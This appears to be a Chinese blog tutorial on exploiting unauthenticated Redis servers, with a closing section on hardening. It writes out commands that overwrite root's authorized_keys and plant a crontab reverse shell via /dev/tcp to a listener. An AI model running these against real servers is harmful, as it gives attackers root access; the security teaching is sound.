749 字
4 分钟
Redis 未授权漏洞简介
本文仅供学习交流使用,切勿用于非法用途
redis 概述
Redis 是一个开源(BSD 许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。
redis 协议使用符号前缀标识数据类型
In RESP, the type of some data depends on the first byte:
- For Simple Strings the first byte of the reply is ”> +”
- For Errors the first byte of the reply is ”-”
- For Integers the first byte of the reply is ”:”
- For Bulk Strings the first byte of the reply is ”$”
- For Arrays the first byte of the reply is ”*“
常用命令
GET key
获取 key 值SET key value [expiration EX seconds|PX milliseconds] [NX|XX]
将键 key 设定为指定的字符串值,覆盖旧值和过期时间- EX seconds – 设置键 key 的过期时间/秒
- PX milliseconds – 设置键 key 的过期时间/毫秒
- NX – 只有键 key 不存在的时候才会设置 key 的值
- XX – 只有键 key 存在的时候才会设置 key 的值
DEL key [key ...]
删除指定 key 的值,返回删除的 key 的数量KEYS pattern
查找所有符合给定模式 pattern(正则表达式)的 keyINFO
返回关于 Redis 服务器的各种信息和统计数值CONFIG GET parameter
读取 redis 服务器的配置文件参数CONFIG SET parameter
设置 redis 服务器的配置文件参数SAVE
将数据保存到磁盘FLUSHDB
删除当前数据库里面的所有数据AUTH password
密码认证
未授权利用
- 利用前提:目标机器 redis 端口暴露,未设置密码(或仅设置弱密码)且 redis 运行在高权限用户
- 利用原理:redis 提供的 config 命令可以修改数据文件的位置,通过将自己的公钥写入 redis,然后修改数据文件保存位置,覆盖
~/.ssh/authorized_keys
可以获得服务器访问权限 - 利用过程
# 连接 redis 默认端口
nc 192.168.1.1 6379
# 尝试查看 redis 信息 提示未认证
info
-NOAUTH Authentication required.
# 认证
auth ${PASSWORD}
+OK
# 查看当前目录
config get dir
*2
$3
dir
$19
/var/lib/redis/6379
# 查看数据文件名
config get dbfilename
*2
$10
dbfilename
$8
dump.rdb
# 设置 x 的值为公钥
set x "\n\n\nssh-rsa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n\n"
+OK
# 修改目录为 /root/.ssh
config set dir /root/.ssh/
+OK
# 修改数据文件为 authorized_keys
config set dbfilename authorized_keys
+OK
# 保存数据
save
+OK
# 删除 x 的值
del x
:1
# 关闭连接
quit
+OK
在 crontab 里写入反弹 shell 同样能够获取目标机器权限
# 在 crontab 里写入反弹 shell
set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.1/8888 0>&1\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
之后在本机监听端口即可
# 本地监听
nc -lvnp 8888
# 查看crontab任务
crontab -l
防护方式
- 使用强密码
requirepass XXXXXXXXX
- 关闭外网访问
bind 127.0.0.1
- 修改默认的端口,一定程度上避免被扫描
- 使用低权限用户启动 redis
- 在 redis.conf 禁用高危命令
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""